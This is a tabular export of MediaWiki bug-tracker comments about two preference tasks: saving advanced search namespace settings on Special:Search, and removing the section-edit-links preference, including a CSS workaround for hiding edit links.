https://gerrit.wikimedia.org/r/131727",,,1399394092,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,44,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,14.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.321428571428571,0.9642857142857143,"Change 131727 had a related patch set uploaded by Nemo bis:
[WIP] Save advanced search namespace prefs on Special:Search itself

GERRIT_URL"
257159,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","You'll want to use 'type' => 'api' (which is, admittedly, somewhat misleadingly named). One core preference using this is 'watchlisttoken'.",,,1399319859,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,18.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,3.5294117647058822,0.7647058823529411,"You'll want to use 'type' => 'api' (which is, admittedly, somewhat misleadingly named). One core preference using this is 'watchlisttoken'."
257157,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","[[mw:Manual:Preferences]] and [[mw:Manual:Hooks/GetPreferences]] are not particularly helpful. To hide preferences from Special:Preferences, should they be made of ""hidden"" type? Added to $saveBlacklist? Spinned off from Preferences.php completely?",,,1399304670,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,2.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,11.0,11.0,5.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.036363636363636,0.6909090909090909,"[[mw:Manual:Preferences]] and [[mw:Manual:Hooks/GetPreferences]] are not particularly helpful. To hide preferences from Special:Preferences, should they be made of ""hidden"" type? Added to $saveBlacklist? Spinned off from Preferences.php completely?"
257155,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","Are we still collecting (re)thoughts or is this bug focused on a specific change? Seems the latter, changing subject.",,,1390658642,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,4.304347826086956,1.0,"Are we still collecting (re)thoughts or is this bug focused on a specific change? Seems the latter, changing subject."
257153,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",*** Bug 37878 has been marked as a duplicate of this bug. ***,,,1390582522,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 37878 has been marked as a duplicate of this bug. ***
257151,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself","(In reply to comment #1)
> I really really like this idea.

Should we set this ticket as for something we'd like to have in the next release (1.22) then?",,,1376595939,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,True,,,6,,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,18.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,12.0,0.0,6.0,0.0,6.0,18.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1515151515151514,0.8787878787878788,"(In reply to comment #1)
QUOTE

Should we set this ticket as for something we'd like to have in the next release (1.22) then?"
257150,"Handle ""Search"" --> ""Advanced options"" section of Special:Preferences on Special:Search itself",I really really like this idea.,,,1376589869,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ueuakppu4zprla5jwywo,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,I really really like this idea.
54811,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","The ""Enable section editing via [edit] links"" user preference should be removed from MediaWiki core.

Users interested in hiding section-edit links can use per-user (or site-wide) CSS.

This should be an easy bug to resolve; marking it with the Bugzilla keyword
accordingly.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement",Medium,50.0,1376416020,1391604424.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-cttzml5ohhludlqqeslk,task_description,resolved,True,c1,3,False,False,False,6,,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,11.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,1.0,8.0,5.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,3.8987341772151898,0.7088607594936709,"The ""Enable section editing via [edit] links"" user preference should be removed from MediaWiki core.

Users interested in hiding section-edit links can use per-user (or site-wide) CSS.

This should be an easy bug to resolve; marking it with the Bugzilla keyword
accordingly.

--------------------------
**Version**: 1.22.0
**Severity**: enhancement"
256728,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","**troyengel** wrote:

Got it -- I had to add !important, so this works:

  .mw-editsection { display:none!important; }

I'll get the wiki page updated with the new method, thanks!",,,1404052977,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,2.0,0.0,6.0,0.0,0.0,4.0,0.0,4.0,0.0,2.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.297872340425532,0.7872340425531915,"**troyengel** wrote:

Got it -- I had to add !important, so this works:

  .mw-editsection { display:none!important; }

I'll get the wiki page updated with the new method, thanks!"
256722,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to TE from comment #16)
> Can one of y'all please post exactly what needs to go where to disable
> site-wide this feature for anonymous, new and previous (logged in) users so
> that this change removing the feature can be put back into CSS?

You can try adding the following code to the page ""MediaWiki:Common.css"" on your wiki (untested, but should work...):

.mw-editsection { display: none; }",,,1404052704,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,51,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,4.0,9.0,6.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.3773584905660377,0.8113207547169812,"(In reply to TE from comment #16)
QUOTE
QUOTE
QUOTE

You can try adding the following code to the page ""MediaWiki:Common.css"" on your wiki (untested, but should work...):

.mw-editsection { display: none; }"
256718,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","**troyengel** wrote:

I'm not a MediaWiki guru to be able to figure this out, but with the 1.23 release I can't figure out how to disable this again. It's referenced above:

""Users interested in hiding section-edit links can use per-user (or site-wide) CSS.""

Great, but can someone update documentation on exactly *how* to do this? In my LocalSettings.php I have the old setting which is apparently ignored now:

  $wgDefaultUserOptions ['editsection'] = false;

I've dumped the DB and grepped and find only one reference to 'noeditsection' in the data, and my user account still shows the [Edit] on sections. The wiki indicates nothing about this change yet:

  http://www.mediawiki.org/wiki/Manual:$wgDefaultUserOptions

Can one of y'all please post exactly what needs to go where to disable site-wide this feature for anonymous, new and previous (logged in) users so that this change removing the feature can be put back into CSS?

I'd be happy to update the above wiki page if someone just tells me *how* to go about it as a low-speed wiki operator who doesn't live & breathe this code. Thanks!",,,1404051842,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,51,,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,1.0,5.666666666666667,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,3.0,0.0,0.3333333333333333,0.0,2.6666666666666665,0.0,6.666666666666667,10.666666666666666,1.0,3.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,0.3333333333333333,4.0,1.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.6666666666666666,2.0,0.0,0.6666666666666666,0.0,0.0,0.0,10.666666666666666,0.3333333333333333,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,3.6666666666666665,1.3333333333333333,6.666666666666667,2.6666666666666665,2.6666666666666665,7.0,0.0,0.0,0.3333333333333333,0.0,6.333333333333333,0.3333333333333333,1.0,0.0,4.0,10.666666666666666,1.6666666666666667,0.6666666666666666,2.0,0.0,4.0,0.0,2.6666666666666665,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,3.6359053497942386,0.7845164609053498,"**troyengel** wrote:

I'm not a MediaWiki guru to be able to figure this out, but with the 1.23 release I can't figure out how to disable this again. It's referenced above:

""Users interested in hiding section-edit links can use per-user (or site-wide) CSS.""

Great, but can someone update documentation on exactly *how* to do this? In my LocalSettings.php I have the old setting which is apparently ignored now:

  $wgDefaultUserOptions ['editsection'] = false;

I've dumped the DB and grepped and find only one reference to 'noeditsection' in the data, and my user account still shows the [Edit] on sections. The wiki indicates nothing about this change yet:

  URL

Can one of y'all please post exactly what needs to go where to disable site-wide this feature for anonymous, new and previous (logged in) users so that this change removing the feature can be put back into CSS?

I'd be happy to update the above wiki page if someone just tells me *how* to go about it as a low-speed wiki operator who doesn't live & breathe this code. Thanks!"
256712,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to Danny B. from comment #14)
> Described in the last line of comment #11.

The last line of comment 11 is:
> And gadgets are what? Saved in preferences. Hence we are where we were.

Sure, but most users and most wikis don't want or need an extra user preference for this. These links are automatically shown based on user permission and they're able to be hidden on a site-wide basis, on a per-page basis, and on a per-user basis. I don't see a need for a user preference here. What's the use-case, exactly? Why would a user want to hide these links for only their account?

Regarding gadgets specifically, a few wikis might create such a gadget, but I doubt it. The overall MediaWiki experience (including that of most Wikimedia wikis) will have less clutter. This seems like a win to me.

>> Out of curiosity, has this happened anywhere?
> 
> Yes.

Where? Links welcome. :-)",,,1392773594,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,33,,0.5,0.0,0.0,1.0,1.0,5.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,1.5,0.0,5.0,9.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,5.0,1.5,0.5,1.5,0.0,0.5,0.0,1.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,18.0,1.0,1.5,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,7.0,1.5,12.0,1.0,3.0,10.5,0.0,0.5,0.0,0.5,4.5,0.0,1.0,0.0,3.5,9.5,4.0,1.5,0.0,0.0,3.5,0.0,1.5,5.5,0.5,1.0,0.5,1.5,0.0,3.527233542319749,0.7315830721003135,"(In reply to Danny B. from comment #14)
QUOTE

The last line of comment 11 is:
QUOTE

Sure, but most users and most wikis don't want or need an extra user preference for this. These links are automatically shown based on user permission and they're able to be hidden on a site-wide basis, on a per-page basis, and on a per-user basis. I don't see a need for a user preference here. What's the use-case, exactly? Why would a user want to hide these links for only their account?

Regarding gadgets specifically, a few wikis might create such a gadget, but I doubt it. The overall MediaWiki experience (including that of most Wikimedia wikis) will have less clutter. This seems like a win to me.

QUOTE
QUOTE
QUOTE

Where? Links welcome. :-)"
256703,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to MZMcBride from comment #13)
> (In reply to Danny B. from comment #11)
> > This is nonsense. It should not have been removed.
> 
> Why's that?

Described in the last line of comment #11.

> > So there will be gadget created on sites to enable hiding.
> 
> Out of curiosity, has this happened anywhere?

Yes.",,,1392772887,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,33,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,29.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,0.0,13.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1578947368421053,0.5789473684210527,"(In reply to MZMcBride from comment #13)
QUOTE
QUOTE
QUOTE
QUOTE

Described in the last line of comment #11.

QUOTE
QUOTE
QUOTE

Yes."
256697,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","(In reply to Danny B. from comment #11)
> This is nonsense. It should not have been removed.

Why's that?

> So there will be gadget created on sites to enable hiding.

Out of curiosity, has this happened anywhere?",,,1392690275,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,17.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.8666666666666667,"(In reply to Danny B. from comment #11)
QUOTE

Why's that?

QUOTE

Out of curiosity, has this happened anywhere?"
256688,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","See comment 0 and comment 5 for reasoning, plus this request (""Remove ... user preference"") is obviously FIXED as the code commit has been merged. :)

I don't think this specific bug report is the place for a generic ""I want less popular ancient options to be removed from the user preferences to reduce UI clutter"" vs. ""I want less people to have to edit their custom CSS or write Gadgets to do X"" discussion - should maybe happen on mediawiki-l instead if there is interest.

However I agree that statistics on how many users have enabled such a setting might be helpful for future evaluation when killing some preferences.",,,1391604424,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,31,,1.5,0.0,0.0,1.5,0.5,5.0,1.5,0.0,0.0,1.0,2.0,0.5,0.0,0.0,1.0,2.5,0.0,5.5,10.5,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.5,1.5,0.0,3.0,0.0,0.0,0.0,1.0,1.5,0.0,1.0,0.0,2.5,0.0,1.0,0.0,0.0,1.0,14.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,3.0,3.5,8.0,3.0,2.0,5.5,0.0,0.5,0.0,0.0,7.5,0.0,1.0,0.0,3.5,10.5,3.0,0.0,4.0,0.0,3.5,0.0,1.5,1.5,0.0,1.0,1.5,0.0,0.0,4.079737103174603,0.8426339285714286,"See comment 0 and comment 5 for reasoning, plus this request (""Remove ... user preference"") is obviously FIXED as the code commit has been merged. :)

I don't think this specific bug report is the place for a generic ""I want less popular ancient options to be removed from the user preferences to reduce UI clutter"" vs. ""I want less people to have to edit their custom CSS or write Gadgets to do X"" discussion - should maybe happen on mediawiki-l instead if there is interest.

However I agree that statistics on how many users have enabled such a setting might be helpful for future evaluation when killing some preferences."
256681,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","This is nonsense. It should not have been removed.

comment #0 says: ""Users interested in hiding section-edit links can use per-user (or site-wide) CSS.""

Exactly.

So there will be gadget created on sites to enable hiding. (because Jorm is totally true with 'Can we just agree from this day forward that ""put it in your user css"" is not an acceptable solution for any problem, ever?'

And gadgets are what? Saved in preferences. Hence we are where we were.",,,1391543815,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,True,,,31,,1.0,0.0,1.0,1.0,1.5,2.5,2.0,1.0,0.0,0.0,3.0,2.0,0.0,0.0,0.5,2.5,0.0,8.5,8.5,0.0,0.5,0.5,0.0,1.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,4.5,0.0,1.5,2.0,1.0,0.0,0.0,2.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,1.5,1.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,6.0,7.5,2.5,1.5,3.0,0.0,0.0,0.0,0.5,4.0,0.0,0.5,0.0,5.0,8.5,1.0,2.0,4.5,0.0,5.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,3.481818181818182,0.8272727272727273,"This is nonsense. It should not have been removed.

comment #0 says: ""Users interested in hiding section-edit links can use per-user (or site-wide) CSS.""

Exactly.

So there will be gadget created on sites to enable hiding. (because Jorm is totally true with 'Can we just agree from this day forward that ""put it in your user css"" is not an acceptable solution for any problem, ever?'

And gadgets are what? Saved in preferences. Hence we are where we were."
256673,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 merged by jenkins-bot:
Removed ""Enable section editing via [edit] links"" from preferences

https://gerrit.wikimedia.org/r/99171",,,1390589269,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.25,0.9583333333333334,"Change 99171 merged by jenkins-bot:
Removed ""Enable section editing via [edit] links"" from preferences

GERRIT_URL"
256666,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 108673 abandoned by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

Reason:
Abandoned: Original patchset at :
https://gerrit.wikimedia.org/r/#/c/99171/

https://gerrit.wikimedia.org/r/108673",,,1390587668,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,4.411764705882353,0.7941176470588235,"Change 108673 abandoned by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

Reason:
Abandoned: Original patchset at :
URL

GERRIT_URL"
256659,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 restored by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

Reason:
Errors in Rebasing. 
Restoring for further tests..

https://gerrit.wikimedia.org/r/99171",,,1390376736,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,8.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,4.416666666666667,0.8611111111111112,"Change 99171 restored by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

Reason:
Errors in Rebasing. 
Restoring for further tests..

GERRIT_URL"
256653,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 108673 had a related patch set uploaded by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

https://gerrit.wikimedia.org/r/108673",,,1390310439,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cttzml5ohhludlqqeslk,task_subcomment,,True,c1,3,False,,,29,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.62962962962963,0.9629629629629629,"Change 108673 had a related patch set uploaded by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

GERRIT_URL"
256648,"Remove ""Enable section editing via [edit] links"" user preference from MediaWiki core","Change 99171 abandoned by 01tonythomas:
Removed ""Enable section editing via [edit] links"" from preferences

Reason:
Rebase errors persistant :(

